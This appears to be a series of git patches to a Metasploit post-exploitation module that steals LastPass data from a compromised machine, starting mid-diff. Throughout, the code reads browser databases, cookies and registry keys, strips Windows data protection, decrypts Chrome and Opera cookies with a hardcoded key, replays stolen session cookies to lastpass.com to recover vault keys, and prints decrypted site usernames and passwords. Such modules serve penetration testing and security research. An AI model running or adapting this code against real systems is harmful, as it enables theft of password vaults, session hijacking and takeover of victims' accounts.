= {'lp_password' => nil} + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil} else sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin @@ -349,7 +322,7 @@ class Metasploit3 < Msf::Post else # Chrome, Safari and Opera loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}") account_map[account][browser]['lp_db_loot'] = loot_path - + next if loot_path.blank? # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) result = db.execute( @@ -375,19 +348,20 @@ class Metasploit3 < Msf::Post account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| if browser.match(/Firefox|IE/) - path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid" - data = read_remote_file(path) if client.fs.file.exists?(path) #Read file if it exists + path = lp_data['localstorage_db'] + system_separator + "lp.suid" + data = read_remote_file(path) if file_exists?(path) #Read file if it exists data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") - account_map[account][browser]['lp_2fa'] = data + account_map[account][browser]['lp_2fa'] = data else # Chrome, Safari and Opera - loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") - db = SQLite3::Database.new(loot_path) - token = db.execute( - "SELECT hex(value) FROM ItemTable " \ - "WHERE key = 'lp.uid';" - ).flatten - + loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") + if !loot_path.blank? + db = SQLite3::Database.new(loot_path) + token = db.execute( + "SELECT hex(value) FROM ItemTable " \ + "WHERE key = 'lp.uid';" + ).flatten + end token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*') end end @@ -412,7 +386,7 @@ class Metasploit3 < Msf::Post unless account_map.empty? print_good lastpass_data_table.to_s - loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data") + loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data") print_vault_passwords(account_map) end end @@ -423,20 +397,20 @@ class Metasploit3 < Msf::Post lp_data['lp_creds'].each_pair do |username, user_data| if browser.match(/Firefox|IE/) if browser == "Firefox" - iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" - vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" + iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" + vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" else # IE - iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr" - vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml" + iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr" + vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml" end - iterations = read_remote_file(iterations_path) if client.fs.file.exists?(iterations_path) # Read file if it exists + iterations = read_remote_file(iterations_path) if file_exists?(iterations_path) # Read file if it exists iterations = nil if iterations.blank? # Verify content lp_data['lp_creds'][username]['iterations'] = iterations # Find encrypted vault vault = read_remote_file(vault_path) vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection - vault = vault.sub(/iterations=.*;/, "") if client.fs.file.exists?(vault_path) # Remove iterations info + vault = vault.sub(/iterations=.*;/, "") if file_exists?(vault_path) # Remove iterations info loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault") lp_data['lp_creds'][username]['vault_loot'] = loot_path @@ -453,7 +427,7 @@ class Metasploit3 < Msf::Post else lp_data['lp_creds'][username]['iterations'] = 1 end - loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault") + loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault") lp_data['lp_creds'][username]['vault_loot'] = loot_path else lp_data['lp_creds'][username]['iterations'] = nil @@ -474,7 +448,7 @@ class Metasploit3 < Msf::Post lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key decrypting the locally stored one or from the disabled OTP if !browser_checked - decrypt_local_vault_key(account, browser_map) + decrypt_local_vault_key(account, browser_map) browser_checked = true end if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP @@ -495,17 +469,13 @@ class Metasploit3 < Msf::Post browser_map.each_pair do |browser, lp_data| if browser == "IE" - if session.type == "meterpreter" - cookies_files = client.fs.dir.entries(lp_data['cookies_db']) - else - cookies_files = session.shell_command("ls #{lp_data['cookies_db']}").split - end + cookies_files = directory_entries(lp_data['cookies_db']) cookies_files.reject! { |u| %w(. ..).include?(u) } cookies_files.each do |cookie_jar_file| - data = read_remote_file(lp_data['cookies_db'] + client.fs.file.separator + cookie_jar_file) + data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file) next if data.blank? if /.*PHPSESSID.(?.*?).lastpass\.com?/m =~ data # Find the session id - loot_path = loot_file(lp_data['cookies_db'] + client.fs.file.separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") + loot_path = loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") session_cookie_value = session_cookie_value_match break end @@ -515,16 +485,13 @@ class Metasploit3 < Msf::Post when /Chrome/ query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'" when "Opera" - query = "" + query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'" when "Firefox" - query = "SELECT value FROM moz_cookies WHERE baseDomain = 'lastpass.com' AND name = 'PHPSESSID'" - when "Safari" - query = "" + query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'" else - query = nil - print_error "Browser #{browser} not recognized" + vprint_error "Browser #{browser} not supported for cookies" + next end - # Parsing/Querying the DB loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB") next if loot_path.blank? @@ -538,9 +505,24 @@ class Metasploit3 < Msf::Post next if result.blank? # No session cookie found for this browser session_cookie_value = result[0][0] end - session_cookie_value = windows_unprotect(Base64.encode64(session_cookie_value)) if (session_cookie_value != nil && Base64.encode64(session_cookie_value).match(/^AQAAA.+/)) return if session_cookie_value.blank? + # Check if cookie value needs to be decrypted + if Base64.encode64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API + session_cookie_value = windows_unprotect(Base64.encode64(session_cookie_value)) + elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts") + decipher.iv = " " * 16 + session_cookie_value = session_cookie_value[3..-1] # Discard v10 + begin + session_cookie_value = decipher.update(session_cookie_value) + decipher.final + rescue + print_error "Cookie could not be decrypted" + end + end + # Use the cookie to obtain the encryption key to decrypt the vault key uri = URI('https://lastpass.com/login_check.php') request = Net::HTTP::Post.new(uri) @@ -562,14 +544,14 @@ class Metasploit3 < Msf::Post end # Returns otp, encrypted_key - def extract_otpbin(account, browser, username, lp_data) + def extract_otpbin(account, browser, username, lp_data) if browser.match(/Firefox|IE/) if browser == "Firefox" - path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" else # IE - path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp" + path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp" end - otpbin = read_remote_file(path) if client.fs.file.exists?(path) #Read file if it exists + otpbin = read_remote_file(path) if file_exists?(path) #Read file if it exists otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/) return otpbin else # Chrome, Safari and Opera @@ -578,7 +560,7 @@ class Metasploit3 < Msf::Post "SELECT type, data FROM LastPassData " \ "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" ) - [result[0][1]].pack "H*" + return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*") end end @@ -588,7 +570,6 @@ class Metasploit3 < Msf::Post else key = pbkdf2(password, username, key_iteration_count.to_i, 32).first end - key end @@ -620,9 +601,9 @@ class Metasploit3 < Msf::Post # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) def lastpass_sha256(input) output = "" - + input = input.gsub("\r\n", "\n") - + input.each_byte do |e| if 128 > e output += e.chr @@ -691,7 +672,7 @@ class Metasploit3 < Msf::Post print_error "Vault from #{username} could not be decrypted" next else - encoded_vault = encoded_vault.sub("LPB64", "") + encoded_vault = encoded_vault.sub("LPB64", "") end end @@ -700,7 +681,7 @@ class Metasploit3 < Msf::Post vault.scan(/ACCT/) do |result| chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1]+3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk chunk = vault[$~.offset(0)[0]..$~.offset(0)[1]+chunk_length] # Get ACCT chunk - account_data = parse_vault_account(chunk, user_data['vault_key']) + account_data = parse_vault_account(chunk, user_data['vault_key']) lastpass_vault_data_table << account_data if account_data != nil end @@ -710,7 +691,7 @@ class Metasploit3 < Msf::Post end end end - end + end end def parse_vault_account(chunk, vaultKey) @@ -722,7 +703,7 @@ class Metasploit3 < Msf::Post encrypted_data = chunk[pointer+4..pointer+4+length-1] label != "url" ? decrypted_data = decrypt_vault_password(vaultKey, encrypted_data) : decrypted_data = [encrypted_data].pack("H*") decrypted_data = "" if decrypted_data == nil - vault_data << decrypted_data if (label == "url" || label == "username" || label == "password") + vault_data << decrypted_data if (label == "url" || label == "username" || label == "password") pointer = pointer + 4 + length end return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes @@ -793,10 +774,9 @@ class Metasploit3 < Msf::Post def extract_local_encrypted_vault_key(browser, username, lp_data) if browser.match(/Firefox|IE/) - encrypted_key_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps" + encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps" encrypted_vault_key = read_remote_file(encrypted_key_path) encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection - else db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( @@ -809,4 +789,34 @@ class Metasploit3 < Msf::Post return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part end -end \ No newline at end of file + # Returns OS separator in a session type agnostic way + def system_separator + return session.platform =~ /win/ ? '\\' : '/' + end + + # Returns if file exists in a session type agnostic way + def file_exists?(path) + if session.type == "meterpreter" + return client.fs.file.exists?(path) + elsif session.type == "shell" + return session.shell_command("ls \"#{path}\"").strip == path.strip + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + + # Return directory content in a session type agnostic way + def directory_entries(path) + if directory?(path) + if session.type == "meterpreter" + return client.fs.dir.entries(path) + elsif session.type == "shell" + return session.shell_command("ls \"#{path}\"").split + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + end +end From 2fc940cc3ea38e759bd4dec8f861be941d871748 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sat, 19 Dec 2015 22:19:20 -0800 Subject: [PATCH 1651/2172] Decrypt Chrome and Opera cookies and msdftify code --- modules/post/multi/gather/lastpass_creds.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 14c1d2d591..462c691026 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -373,13 +373,13 @@ class Metasploit3 < Msf::Post lastpass_data_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass Accounts", 'Indent' => 1, - 'Columns' => %w(Account Browser LP_Username LP_Password LP_2FA LP_Key) + 'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key) ) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - lastpass_data_table << [account, browser, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] + lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] end end end From 2ddac42be7015145daa8f165ac9c179a35cfbaa4 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sat, 19 Dec 2015 23:33:32 -0800 Subject: [PATCH 1652/2172] Perform Rubocop cleanup --- modules/post/multi/gather/lastpass_creds.rb | 122 ++++++++++---------- 1 file changed, 60 insertions(+), 62 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 462c691026..4849006dfc 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } - cookies_path_map = { #TODO + cookies_path_map = { # TODO 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies", 'Firefox' => "", # It's set programmatically 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies" @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Post 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } - cookies_path_map = { #TODO + cookies_path_map = { # TODO 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies", 'Firefox' => "", # It's set programmatically 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies", @@ -157,9 +157,9 @@ class Metasploit3 < Msf::Post data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank? paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access) elsif browser == "Firefox" # Special case for Firefox - paths |= firefox_profile_files(path, browser) + paths |= firefox_profile_files(path) else - paths |= file_paths(path, browser, account) + paths |= file_paths(path) end vprint_good "Found #{paths.size} #{browser} databases for #{account}" @@ -195,13 +195,11 @@ class Metasploit3 < Msf::Post end # Extracts the databases paths from the given folder ignoring . and .. - def file_paths(path, browser, account) + def file_paths(path) found_dbs_paths = [] files = [] - if directory?(path) - files = directory_entries(path) - end + files = directory_entries(path) if directory?(path) files.each do |file_path| unless %w(. .. Shared).include?(file_path) found_dbs_paths.push([path, file_path].join(system_separator)) @@ -212,7 +210,7 @@ class Metasploit3 < Msf::Post end # Returns the profile files for Firefox - def firefox_profile_files(path, browser) + def firefox_profile_files(path) found_dbs_paths = [] if directory?(path) @@ -231,7 +229,7 @@ class Metasploit3 < Msf::Post credentials = [] data = nil - if(prefs_path == nil) # IE + if prefs_path.nil? # IE data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank? return [] if data.blank? @@ -243,10 +241,10 @@ class Metasploit3 < Msf::Post # Extract master passwords data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws") - data = Base64.encode64(data) if !data.blank? + data = Base64.encode64(data) unless data.blank? else # Firefox loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file") - return [] if !loot_path + return [] unless loot_path File.readlines(loot_path).each do |line| if /user_pref\("extensions.lastpass.loginusers", "(?.*)"\);/ =~ line usernames = encoded_users.split("|") @@ -269,7 +267,7 @@ class Metasploit3 < Msf::Post creds_per_user.each_with_index do |user_creds, index| parts = user_creds.split('=') for creds in credentials - creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username + creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username end end credentials @@ -281,7 +279,7 @@ class Metasploit3 < Msf::Post if encrypted_data.include?("|") # Use CBC decipher = OpenSSL::Cipher.new("AES-256-CBC") decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | - encrypted_data = encrypted_data[26..-1] #Take only the data part + encrypted_data = encrypted_data[26..-1] # Take only the data part else # Use ECB decipher = OpenSSL::Cipher.new("AES-256-ECB") end @@ -310,12 +308,12 @@ class Metasploit3 < Msf::Post unless ieffcreds.blank? ieffcreds.each do |creds| if creds[1].blank? # No master password found - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil} + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil } else sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]} + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] } end end end @@ -335,7 +333,7 @@ class Metasploit3 < Msf::Post sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password - account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} + account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] } end end end @@ -343,19 +341,19 @@ class Metasploit3 < Msf::Post end end - #Extracts the 2FA token from localStorage + # Extracts the 2FA token from localStorage def extract_2fa_tokens(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| if browser.match(/Firefox|IE/) path = lp_data['localstorage_db'] + system_separator + "lp.suid" - data = read_remote_file(path) if file_exists?(path) #Read file if it exists + data = read_remote_file(path) if file_exists?(path) # Read file if it exists data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") account_map[account][browser]['lp_2fa'] = data else # Chrome, Safari and Opera loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") - if !loot_path.blank? + unless loot_path.blank? db = SQLite3::Database.new(loot_path) token = db.execute( "SELECT hex(value) FROM ItemTable " \ @@ -368,7 +366,7 @@ class Metasploit3 < Msf::Post end end - #Print all extracted LastPass data + # Print all extracted LastPass data def print_lastpass_data(account_map) lastpass_data_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass Accounts", @@ -418,7 +416,7 @@ class Metasploit3 < Msf::Post db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT data FROM LastPassData " \ - "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'accts'" ) if result.size == 1 && !result[0].blank? @@ -447,12 +445,12 @@ class Metasploit3 < Msf::Post if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key decrypting the locally stored one or from the disabled OTP - if !browser_checked + unless browser_checked decrypt_local_vault_key(account, browser_map) browser_checked = true end - if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP - otpbin = extract_otpbin(account, browser, username, lp_data) + if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP + otpbin = extract_otpbin(browser, username, lp_data) otpbin.blank? ? next : otpbin = otpbin[0..31] lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) end @@ -475,7 +473,7 @@ class Metasploit3 < Msf::Post data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file) next if data.blank? if /.*PHPSESSID.(?.*?).lastpass\.com?/m =~ data # Find the session id - loot_path = loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") + loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") session_cookie_value = session_cookie_value_match break end @@ -526,12 +524,12 @@ class Metasploit3 < Msf::Post # Use the cookie to obtain the encryption key to decrypt the vault key uri = URI('https://lastpass.com/login_check.php') request = Net::HTTP::Post.new(uri) - request.set_form_data("wxsessid" => URI.unescape(session_cookie_value),"uuid" => browser_map['lp_2fa']) + request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa']) request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } # Parse response - next if !response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired + next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1]) username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1] @@ -544,36 +542,36 @@ class Metasploit3 < Msf::Post end # Returns otp, encrypted_key - def extract_otpbin(account, browser, username, lp_data) + def extract_otpbin(browser, username, lp_data) if browser.match(/Firefox|IE/) if browser == "Firefox" path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" else # IE path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp" end - otpbin = read_remote_file(path) if file_exists?(path) #Read file if it exists + otpbin = read_remote_file(path) if file_exists?(path) # Read file if it exists otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/) return otpbin else # Chrome, Safari and Opera db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT type, data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'otp'" ) return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*") end end - def derive_vault_key_from_creds username, password, key_iteration_count + def derive_vault_key_from_creds(username, password, key_iteration_count) if key_iteration_count == 1 - key = Digest::SHA256.hexdigest username + password + key = Digest::SHA256.hexdigest username + password else - key = pbkdf2(password, username, key_iteration_count.to_i, 32).first + key = pbkdf2(password, username, key_iteration_count.to_i, 32).first end key end - def decrypt_vault_key_with_otp username, otpbin + def decrypt_vault_key_with_otp(username, otpbin) vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*" encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin) decrypt_data(vault_key_decryption_key, encrypted_vault_key) @@ -581,14 +579,14 @@ class Metasploit3 < Msf::Post def retrieve_encrypted_vault_key_with_otp username, otpbin # Derive login hash from otp - otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) # OTP login hash + otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash # Make request to LastPass uri = URI('https://lastpass.com/otp.php') request = Net::HTTP::Post.new(uri) request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token) request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' - response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) {|http| http.request(request) } + response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } # Parse response encrypted_vault_key = nil @@ -631,21 +629,21 @@ class Metasploit3 < Msf::Post rg = session.railgun pid = session.sys.process.getpid process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = process.memory.allocate(data.length+200) + mem = process.memory.allocate(data.length + 200) process.memory.write(mem, data) - if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" - addr = [mem].pack("V") - len = [data.length].pack("V") - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - len, addr = ret["pDataOut"].unpack("V2") + if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") else - addr = Rex::Text.pack_int64le(mem) - len = Rex::Text.pack_int64le(data.length) - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) - pData = ret["pDataOut"].unpack("VVVV") - len = pData[0] + (pData[1] << 32) - addr = pData[2] + (pData[3] << 32) + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) end return "" if len == 0 @@ -661,7 +659,7 @@ class Metasploit3 < Msf::Post 'Indent' => 1, 'Columns' => %w(URL Username Password) ) - if user_data['vault_loot'] == nil # Was a vault found? + if user_data['vault_loot'].nil? # Was a vault found? print_error "No vault was found for #{username}" next end @@ -679,8 +677,8 @@ class Metasploit3 < Msf::Post # Parse vault vault = Base64.decode64(encoded_vault) vault.scan(/ACCT/) do |result| - chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1]+3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk - chunk = vault[$~.offset(0)[0]..$~.offset(0)[1]+chunk_length] # Get ACCT chunk + chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk + chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk account_data = parse_vault_account(chunk, user_data['vault_key']) lastpass_vault_data_table << account_data if account_data != nil end @@ -694,15 +692,15 @@ class Metasploit3 < Msf::Post end end - def parse_vault_account(chunk, vaultKey) + def parse_vault_account(chunk, vault_key) pointer = 22 # Starting position to find data to decrypt labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"] vault_data = [] for label in labels - length = chunk[pointer..pointer+3].unpack("H*").first.to_i(16) - encrypted_data = chunk[pointer+4..pointer+4+length-1] - label != "url" ? decrypted_data = decrypt_vault_password(vaultKey, encrypted_data) : decrypted_data = [encrypted_data].pack("H*") - decrypted_data = "" if decrypted_data == nil + length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16) + encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1] + label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*") + decrypted_data = "" if decrypted_data.nil? vault_data << decrypted_data if (label == "url" || label == "username" || label == "password") pointer = pointer + 4 + length end @@ -732,8 +730,8 @@ class Metasploit3 < Msf::Post # Reads a remote file and loots it def loot_file(path, data, title, type, description) - data = read_remote_file(path) if data == nil # If no data is passed, read remote file - return nil if data == nil + data = read_remote_file(path) if data.nil? # If no data is passed, read remote file + return nil if data.nil? loot_path = store_loot( title, @@ -762,9 +760,9 @@ class Metasploit3 < Msf::Post begin root_key, base_key = session.sys.registry.splitkey(key) 